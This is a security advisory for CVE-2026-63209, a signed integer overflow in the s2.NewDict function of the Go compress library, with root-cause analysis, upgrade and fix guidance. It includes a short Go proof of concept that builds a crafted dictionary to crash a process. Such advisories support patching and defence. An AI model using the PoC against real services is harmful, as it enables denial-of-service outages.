---
id: "CVE-2026-63209"
kind: "vulnerability"
aliases: ["CVE-2026-63209", "GHSA-259r-337f-4rfw"]
title: "Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress"
severity: "high"
cvss: 7.5
epss: 0.003650000086054206
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/klauspost/compress", "fixed": ["1.18.7"], "affected": "<= 1.18.6", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-190", "cwe-787", "go", "klauspost-compress", "package", "s2", "services-accepting-user-dictionaries"]
not_affected_if: ["dictionary-data-trusted", "no-s2-dictionary-use", "version-1.18.7-or-later"]
published_at: "2026-09-29T15:17:27+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T23:44:52+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-259r-337f-4rfw", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63209", "first_seen_at": "2026-10-23T23:44:52+00:00"}]
---

# Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

The Go library github.com/klauspost/compress has an integer overflow in s2.NewDict: a dictionary with a crafted repeat value bypasses validation and causes an out-of-bounds memory access when Dict.Encode is called. An attacker who can supply S2 dictionary data gets a process crash (SIGSEGV), which is a denial of service.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/klauspost/compress affected <= 1.18.6 fixed 1.18.7

## How to check

Check go.mod or go list -m github.com/klauspost/compress for a version at or below v1.18.6.
Check whether code calls s2.NewDict with user-supplied dictionary bytes.

## Fix

Upgrade github.com/klauspost/compress to v1.18.7 or later.
If upgrading is not possible, do not pass untrusted data to s2.NewDict.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-259r-337f-4rfw
- 2026-10-23T23:44:52+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-63209

## From the sources

# Signed Integer Overflow in s2.NewDict

## Summary

A signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.

## Package

- **Name:** `github.com/klauspost/compress/s2`
- **Ecosystem:** Go
- **Affected versions:** <= v1.18.6 (all versions with `NewDict` function)

## Severity

**High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`

## Vulnerability

### Type
- CWE-190: Integer Overflow or Wraparound
- CWE-787: Out-of-bounds Write (via unsafe.Pointer)

### Description

The `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:

```go
r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}
```

When `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.

When `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:

```go
repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer
```

`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:

```go
func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}
```

This causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.

## PoC

```go
package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}
```

## Impact

- **Denial of Service:** The process crashes immediately with SIGSEGV

## Attack Vector

Any application that:
1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`
2. Calls `Dict.Encode()` on any data ≥32 bytes

## Suggested Fix

Validate the uvarint value before converting to int:

```go
if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)
```

Or use `uint` for the repeat field and validate against `uint(len(dict))`.

## References

- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)
- Commit: 539243b (v1.18.6 + 4 commits)

## Credits
Christopher Linke / https://github.com/celinke97/

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
